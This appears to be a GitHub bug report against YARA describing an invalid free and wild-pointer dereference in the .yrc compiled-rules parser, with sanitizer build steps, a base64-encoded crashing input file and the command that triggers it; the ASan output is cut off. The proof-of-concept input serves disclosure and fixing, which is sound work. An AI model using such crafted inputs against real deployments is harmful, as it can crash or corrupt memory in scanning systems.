.yrc 解析器中的未验证外部变量指针导致 yr_rules_destroy 中的无效释放和 yr_object_create 中的野指针 strdup/strlen (CWE-763)
作者: 1820893135-pixel创建于 2026年8月7日更新于 2026年8月7日
标签bug
To Reproduce
- Build YARA with ASan + UBSan (the invalid free and wild dereference are detected by ASan):
git clone https://GitHub.com/VirusTotal/yara.git
cd yara
git checkout 604822da04103d13812dbcb08f4d7d42b61f94a8
./bootstrap.sh
CFLAGS="-O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address,undefined" \
./configure --disable-shared --enable-static
make -j"$(nproc)"- Write the exact 186-byte crashing .yrc. The base64 string below round-trips to the byte-identical crash input:
printf 'WUFSQRUMlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAYAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAMAAAABQAAAAAAAABvAAAAAAAAAP//////////AAAAAAAAAAAAAAAA' | base64 -d > poc2.yrc- Reproduce via the real CLI (wild-pointer strdup path,
yr_scanner_create):
./yara -C poc2.yrc /dev/null
echo $?ASan report:
内容来源: VirusTotal/yara